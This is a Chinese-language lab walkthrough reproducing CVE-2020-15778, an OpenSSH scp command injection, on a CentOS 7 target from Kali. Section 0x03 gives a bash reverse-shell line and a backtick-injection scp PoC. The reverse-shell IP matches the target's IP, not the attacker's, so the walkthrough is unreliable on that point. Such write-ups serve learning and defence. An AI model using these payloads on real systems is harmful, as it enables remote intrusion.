CVE編號:CVE-2020-15778
發布時間:2020-07-24
危害等級:高危
漏洞版本:<= openssh-8.3p1
漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系統命令注入漏洞。該漏洞即使在禁用ssh登錄的情況下,但是允許使用scp傳文件,而且遠程服務器允許使用反引號(`),可利用scp復制文件到遠程服務器時,執行帶有payload的scp命令,從而在后續利用中getshell。
利用條件:知道目標的ssh密碼
0x01 模擬場景
設置iptables策略模擬僅允許使用scp的場景,讓該漏洞在特殊環境下實現命令注入。
0x02 實驗場景部署
靶機環境:Centos 7
滲透機環境:Kali 2019版本
1、查看ssh版本
ssh -V
為漏洞存在版本。
2、測試ssh與scp在正常情況下的使用情況。
可以正常使用。
3、執行service iptables status 檢查是否安裝iptables,若已安裝iptables,可跳過第三步。
(1)安裝iptables
yum install -y iptables
(2)安裝iptables-services
yum install iptables-services
(3)centOS7默認自帶firewalld
先停止firewalld服務
systemctl stop firewalld
禁用firewalld服務
systemctl mask firewalld
(4)查看現有規則
iptables -L -vn iptables -F是清空默認規則 iptables -L -n --line-number 顯示規則和相對應的編號
4、在Centos中設置iptables策略,禁用ssh遠程連接,但開放scp。
命令:
service iptables start iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP service iptables save iptables -L -n --line-number
5、測試ssh與scp在已設置iptables策略下的使用情況。
0x03 SSH命令注入漏洞復現
1、在kali創建一個1.sh文件,並寫入一個反彈shell的bash命令。
bash -i >& /dev/tcp/192.168.207.156/4444 0>&1
2、使用scp命令,把該文件上傳到靶機的/tmp下
3、在新建的命令行頁面中輸入命令:
4、使用POC,遠程執行命令。
scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'
5、可以看到,在輸完密碼后,稍等一會就已經成功反彈了shell,實驗結束。
0x04 漏洞防御
1、先確保ssh密碼沒有泄露,等一波openssh的新版本吧
2、升級ssh版本
3、等待廠商發布補丁